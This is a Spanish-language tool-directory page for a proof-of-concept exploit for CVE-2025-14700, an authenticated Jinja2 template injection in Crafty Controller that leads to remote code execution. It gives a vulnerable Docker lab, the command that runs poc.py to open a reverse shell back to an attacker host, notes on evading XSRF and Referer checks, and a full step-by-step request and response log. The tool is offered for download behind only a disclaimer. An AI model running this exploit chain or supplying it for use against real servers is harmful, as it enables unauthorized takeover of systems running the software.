Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC_CVE-2025-14700 — Prueba de concepto para RCE autenticado en Crafty Controller | Kitploit
Herramientas/GitHubGitHub/secdongle/poc_cve-2025-14700
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubsecdongle/poc_cve-2025-14700

POC_CVE-2025-14700

Prueba de concepto para RCE autenticado en Crafty Controller

Ver Repositorio
1hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-14700

PoC para CVE-2025-14700, una vulnerabilidad de inyección de plantillas del lado del servidor (SSTI) en Crafty Controller <= 4.6.1. Esta vulnerabilidad permite a los usuarios autenticados lograr la ejecución remota de código (RCE) mediante la inyección de plantillas Jinja2 maliciosas en la configuración del Webhook.

📦 Instalación

root@kitploit:~
# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700

🛠️ Entorno de pruebas (Docker Compose)

Para configurar una instancia vulnerable de Crafty Controller 4.6.1, utiliza la siguiente configuración docker-compose.yml:

1. Crea docker-compose.yml

root@kitploit:~
version: '3'
services:
  crafty:
    image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
    container_name: crafty-vulnerable
    ports:
      - "8443:8443"     # Web Dashboard
      - "25565:25565"   # Minecraft Server Port
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./crafty_data:/crafty_db
    restart: unless-stopped

2. Inicia el entorno

root@kitploit:~
docker-compose up -d

3. Inicializa el controlador

  1. Accede a la interfaz web en https://localhost:8443.
  2. Completa el asistente de configuración inicial para crear una cuenta de administrador.
  3. Utiliza estas credenciales para ejecutar el script poc.py.

🚀 Uso

Explotación de un solo objetivo

root@kitploit:~
# Execute the Proof of Concept for a reverse shell
python3 poc.py -u https://10.67.3.77:8443 -l admin -p 'PASSWORD' -lh 10.67.3.78 -lp 6699

Opciones de línea de comandos

OpciónDescripción
-u, --urlURL objetivo de Crafty Controller (p. ej., https://10.67.3.77:8443)
-l, --loginNombre de usuario para la autenticación
-p, --passwordContraseña para la autenticación
-lh, --lhostIP del atacante para el callback de la reverse shell
-lp, --lportPuerto del atacante para el callback de la reverse shell

🎯 Características del exploit

  • Sincronización de XSRF y token: Maneja automáticamente la compleja sincronización entre las cookies _xsrf de Tornado y la cabecera personalizada token.
  • Emulación de sesión: Simulación 1:1 de peticiones basadas en navegador, incluyendo las cabeceras Referer y Origin para evadir las comprobaciones de seguridad del backend.
  • Cadena automatizada: Crea un servidor ficticio, inyecta el payload SSTI y activa la acción de ejecución en una sola secuencia.

📊 Análisis técnico

El exploit tiene éxito al alinearse con la estricta lógica de validación del backend:

RequisitoEstrategia del exploit
Token XSRFExtrae _xsrf de las cookies y lo replica en las cabeceras X-XSRFToken y token.
Comprobación de RefererEstablece Referer en la ruta del panel para imitar la interacción legítima del usuario.
Mapeo de cabecerasMapea el valor de _xsrf a una cabecera token específica requerida por el despachador de acciones.
PayloadAprovecha self._TemplateReference__context para acceder al módulo os.

📝 Salida de ejemplo

root@kitploit:~
python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"'
[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...
[*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...)

================================================================================
[POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k",
        "user_id": "1",
        "page": "/panel/dashboard"
    }
}
================================================================================

[*] STEP 3: Creating exploit dummy server...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba"
    }
}
================================================================================

[*] STEP 4: Injecting SSTI Reverse Shell payload...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "webhook_id": 13
    }
}
================================================================================

[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...
[*] Sending start_server action request...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok"
}
================================================================================

[*] Sending EULA confirmation action request...

[+] POC Execution completed. Check your nc listener (LHOST/LPORT).

reverse_shell

⚠️ Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no se hacen responsables de cualquier uso indebido.

Descargar herramienta